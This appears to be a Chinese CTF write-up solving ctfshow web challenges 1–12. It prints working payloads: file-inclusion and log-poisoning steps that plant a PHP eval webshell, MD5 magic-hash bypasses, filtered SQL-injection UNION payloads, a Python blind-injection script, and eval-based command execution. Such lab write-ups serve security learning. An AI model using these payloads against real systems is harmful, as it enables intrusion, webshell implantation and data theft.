web1-15
web1
签到题,打开查看源码,base64解码得到flag
web2
题目提示:最简单的sql
sqlmap一把嗦
详细的使用可以查看这个:https://blog.csdn.net/yzl_007/article/details/119974367
web3
打开是一段代码, <?php include($_GET['url']);?>
文件包含函数,容易造成文件包含漏洞,输入?url=/etc/passwd 测试是否存在漏洞,如下,成功读取证明漏洞存在。
然后想办法利用文件包含获取flag,这里构造get 请求 ?url=php://input
burp抓包,然后post命令
<?php system("ls")?>
成功读取到其中存在“ctf_go_go_go”这一可疑文件,再次构造cat命令读取得到flag
web4
打开和web3一样,但是是web3的进阶版,使用同样的方法查看etc/passwd 没有任何回显,只能通过日志注入获取shell。
输入默认目录获取日志:?url=/var/log/nginx/access.log 能够成功获取
同样抓包
再数据包中写入一句话木马
<?php @eval($_POST['a']);?>
然后发包
蚁剑连接拿到在www/目录中找到flag
web5
考到了MD5碰撞,这里使用0e绕过,0e开头的字符串在参与弱类型比较时,会被当做科学计数法,结果转换为0;我们只要传入两个md5值是以0e开头的参数,即可绕过md5加密。
代码审计: 获取两个请求值,v1,v2,两者的md5值相同,一个是字符一个是数字,即可绕过
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
这里搜集到的
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
参考:https://blog.csdn.net/zzwwhhpp/article/details/116490270
符合条件的就只有第一组,构造payload:?v1=QNKCDZO&v2=240610708
成功获取flag,这里衍生到另一题,月饼杯web签到
月饼杯web签到
代码
<?php
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET["YBB"])) {
if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) {
echo "小伙子不错嘛!!flag给你了:" . $flag;
} else {
echo "偶吼,带黑阔被窝抓到了!!!!";
}
}
与web5类似,但是这里是只有一个值的,0e开头的纯数字字符串才和自身的md5值相等,payload:
?YBB=0e215962017
<?php
for($i = 1; $i <= 10000000000; $i++)
{
if (hash("md5", "0e".$i) == "0e".$i)
{
echo "0e".$i;
break;
}
else
{
echo $i."\n";
}
}
web6
与web2一样的登陆窗口,但是这里有了限制,不能sqlmap一把嗦了,尝试手注。
先试试单引号,报错,存在注入,再试试万能密码,报错,sql inject error
有字符被过滤了,逐个尝试,过滤了空格,我们可以使用括号()或者注释/**/绕过,
使用下面的方法,登陆成功
username=admin'/**/or/**/1=1#&password=1
或者
username=admin'or(true)#&password=1
然后就可以利用基本的模板来查找flag了。
查询数据库
username=admin'or(true)union(select(1),database(),3)#&password=1
回显结果:欢迎你,ctfshow欢迎你,web2
查询web2数据库中的表
username=admin'or(true)union(select(1),(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web2')),3)#&password=1
回显结果:欢迎你,ctfshow欢迎你,flag,user
然后查看flag表中的字段
username=admin'or(true)union(select(1),(select(group_concat(column_name))from(information_schema.columns)where(table_schema='web2')and(table_name='flag')),3)#&password=1
回显结果:欢迎你,ctfshow欢迎你,flag
flag表中有flag字段,然后读取这个字段就好了
username=admin'or(true)union(select(1),(select(flag)from(flag)),3)#&password=1
回显结果:欢迎你,ctfshow欢迎你,ctfshow{665dc354-7d84-406b-8996-55a45806b218}
注入的时候要注意,括号的闭合,少了或者多了都无法回显内容
web7
?id=1’ or 1=1或者?id=1’ and 1=1都会报错,猜测和web6一样过滤了空格
果然
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fj9cagUx-1632965856836)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20210930084117073.png)]
过滤了空格,又可以用刚刚的方法手工注入,但是这里用括号的方式绕过无回显,使用/**/代替空格绕过。
爆库:
id=1'/**/union/**/select/**/1,database(),3
回显结果:web7
爆表名:
id=1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()
回显结果:flag,page,user
爆字段:
id=1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"
回显结果:flag
读取字段:
id=1'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag
回显结果:
web8
使用同如web7的方法,会回显sql inject error,过滤了空格,逗号,and,union等关键字,
-
过滤空格, 可以使用括号() 或者注释/**/ 绕过 -
过滤and, 可以使用or替代 -
过滤union, 可以用盲注替代联合注入 -
过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替 参考:https://blog.csdn.net/wangyuxiang946/article/details/120115458
import requests
url = 'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/'
name = ''
for i in range(1, 45):
payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在获取第 %d 个字符' % i)
for j in range(31, 128):
result = requests.get(url + payload % (i, j))
if 'If' in result.text:
name += chr(j)
print('数据库名/表名/字段名/数据: %s' % name)
break
count += 1
if count >= (128 - 31):
exit()
这个题跑了多次都超时,不知道是不是我网络的问题
web9
打开后尝试注入无果,用dirsearch扫描,找到一个泄露文件
访问/robots.txt,发现了一个index.phps的文件
下载下来打开,是登陆部分的一段验证代码
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
其中的查找语句就是这个了
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
输入一个密码,经过md5加密后,绕过sql语句。
这里有两个
ffifdyop
129581926211651571912466741651878684928
md5加密后的16进制转化为二进制时有 'or’xxxx 能够闭合sql语句,ffifdyop经过md5为276f722736c95d99e921722cf9ed621c ,再转换为字符串为' ' 'or' 6<trach>
strlen($password)>10,对密码长度做了限制,输入ffifdyop拿到flag
web10
已经访问不到/robots.txt,但是有这web9的经验,访问/index.phps,任然有源码泄露,下载下来查看
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
源码中对很多sql语句都做了限制,过滤了很多关键词,
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
php使用replaceSpecialChar一次性替换所有指定字符文本,但是这里替换的是空字符,考虑双写绕过
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
但是这一段会限制双写,如果双写的话,字符串中关键词会被替换为空,前后字符长度不一样,输出错误提示。
if($password==$row['password'])
{
echo "登陆成功<br>";
echo $flag;
}
看到关键地方,
web11
打开后显示了源码,和web10很相似,也使用了replaceSpecialChart进行了字符替换,过滤了关键字
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
看到这一栏,输入密码与存储的session相同时,输出flag。密码窗口这里已经输入了密码,抓包登陆看看,这里密码是123456,要使两者相同,可以直接把session删除,然后输入空密码,就可以绕过了
session就是下图中标记的那一串,PHPSESSID=…
删除后发送,拿到flag
也可以再浏览器中直接修改
同样先删除PHPSESSID中的值,再空密码登陆
下面再讲讲session,Session是另一种记录客户状态的机制,它是在服务器上面,客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上。有时候可以利用这个直接越权登陆,通达OA就有一个版本存在未授权访问,就是利用session。
具体的可以看这个session与cookie
?
web12
源码中提示
猜测文件包含,直接构造payload:?cmd=phpinfo();
成功回显
猜测源码中的cmd的函数应该是eval($_GET['cmd']); 利用eval执行漏洞我们可以查看网页源代码
但是我们不知道flag文件的名称,无法包含
然后再利用php的glob()函数匹配指定模式的文件名或者目录名,与正则匹配类似,glob("*")就是匹配所有文件,
glob("*txt") //就是匹配txt文件
?cmd=print_r(glob("*txt"));
输出txt文件发现为空,直接输出所有文件吧
?cmd=print_r(glob("*"));
回显了这样一个php文件,打开看看,使用highlight_file()函数成功输出
?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
持续更新。。。。。
|